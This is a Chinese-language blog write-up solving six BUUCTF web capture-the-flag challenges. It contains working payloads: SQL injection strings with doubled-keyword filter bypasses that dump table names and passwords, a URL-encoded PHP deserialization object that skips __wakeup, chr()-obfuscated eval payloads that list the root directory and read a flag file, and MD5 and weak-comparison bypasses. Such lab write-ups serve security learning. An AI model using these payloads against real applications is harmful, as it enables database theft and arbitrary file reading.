BUUCTF-WEB(15-20)

Muneyoshi發表於2024-05-19

[極客大挑戰 2019]BabySQL

開啟題目就試了試萬能密碼,是不行的

image-20240519150211630

推測應該做了過濾

我們密碼框輸入1' 1 or '1'='1試試

image-20240519151557536

發現我們的or沒了,union,select,where都被過濾了,應該是被替換成空字元,所以我們可以雙寫繞過

uunionnion sselectelect wwherehere

由於這裡or被過濾了,我們無法用order用判斷欄位數,只能union select(以下注入都在密碼框進行)

1' uunionnion sselectelect 1,2,3#

image-20240519152102655

爆庫名:

1' uunionnion sselectelect 1,2,database()#

image-20240519152209383

爆表名:

1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#

image-20240519152640220

爆列名:

1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'aandnd table_name='b4bsql'#

image-20240519152759357

爆資料:

1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#

image-20240519153318822

[極客大挑戰 2019]PHP

開啟題目告訴我們網站備份了

然後我們應該dirsearch掃後臺,這裡可能是因為平臺的原因,掃不出來的

備份檔案就是 www.zip

我們訪問下載,index.php發現了引數select

image-20240519160241899

然後在class.php這裡看怎麼去反序列化

image-20240519160323742

我們構造就是

new Name::__construct()->new Name::__destruct()

所以我們需要繞過__wakeup()

CTF必看~ PHP反序列化漏洞6:絕妙_wakeup繞過技巧_ctf php 反序列化漏洞-CSDN部落格

攻擊者可以利用這個漏洞來繞過 __wakeup() 函式中的安全檢查,從而執行任意程式碼。攻擊者可以使用 O 型別的序列化字串來建立一個新的物件,並在其中新增任意數量的屬性。然後,攻擊者可以修改序列化字串中屬性的數量,使其比實際屬性數量多。由於 PHP 會忽略多餘的屬性,攻擊者可以繞過 __wakeup() 函式的安全檢查,並執行惡意程式碼。

然後我們開啟php線上(此處列印兩個變數,為了方便比較數量對應的哪個數值)

image-20240519161217020

構造鏈子後因為我們需要繞過__wakeup(),所以我們需要改一下這個數量

給我標記的地方改成三,然後複製URL編碼後的序列化的資料。

image-20240519161316419

payload:

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20240519161453754

[ACTF2020 新生賽]BackupFile

就是備份檔案,dirsearch掃描

image-20240519163203428

發現了index.php.bak,下載

image-20240519163707013

在PHP中:= = 為弱相等,即當整數和字串型別相比較時。會先將字串轉化為整數然後再進行比較

所以我們payload:

?key=123

image-20240519164914400

[RoarCTF 2019]Easy Calc

參考:

RoarCTF 2019 - Easy Calc - ch0bits - 部落格園 (cnblogs.com)

RoarCTF 2019]Easy Calc 詳細題解筆記 Writeup_scandir被過濾-CSDN部落格

PHP字串解析特性 ($GET/$POST引數繞過)(含例題 buuctf easycalc)_引數解析 繞過-CSDN部落格

在原始碼裡面找到了一個檔案

image-20240519201624194

我們訪問一下

image-20240519201929861

這裡我也不會了就搜了一下題解

檢視根目錄

?%20num=print_r(scandir(chr(47)));

image-20240519203614757

檢視flag

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20240519203952246

[極客大挑戰 2019]BuyFlag

來到買flag的地方,看一下原始碼

image-20240519204806236

我們需要post傳參,我burp抓包看一眼

image-20240519205326964

條件就是我需要是cuit的學生,然後才能買,這裡我注意到user=0,我們改成1試試,成功了

image-20240519205415709

那我們就差個money還有password

password就用字串繞過

POST的內容如下:

password=404a&money=1000000000

image-20240519205704886

他說錢長度太多了,那我們就科學計數法

password=404a&money=1e9

image-20240519205756660

[BJDCTF2020]Easy MD5

參考:

[BJDCTF2020]Easy MD5(詳細)-CSDN部落格

總結ctf中 MD5 繞過的一些思路_ctf md5-CSDN部落格

這裡開啟題目,就個輸入框,啥也沒有

我這裡也挺傻逼,我抓包也沒看到hint,看wp才看到

image-20240519211931880

然後意思就是後面需要真值,然後才行

答案就是需要傳

ffifdyop

然後跳到新介面,然後檢視原始碼,md5弱比較

image-20240519212054698

直接傳

a=QNKCDZO&b=240610708

又跳了一個介面,程式碼如下:

image-20240519212242545

這次是===是強比較,型別,數值都得比較,那我們就陣列繞過

param1[]=1&param2[]=2

image-20240519212414869

image-20240519212436496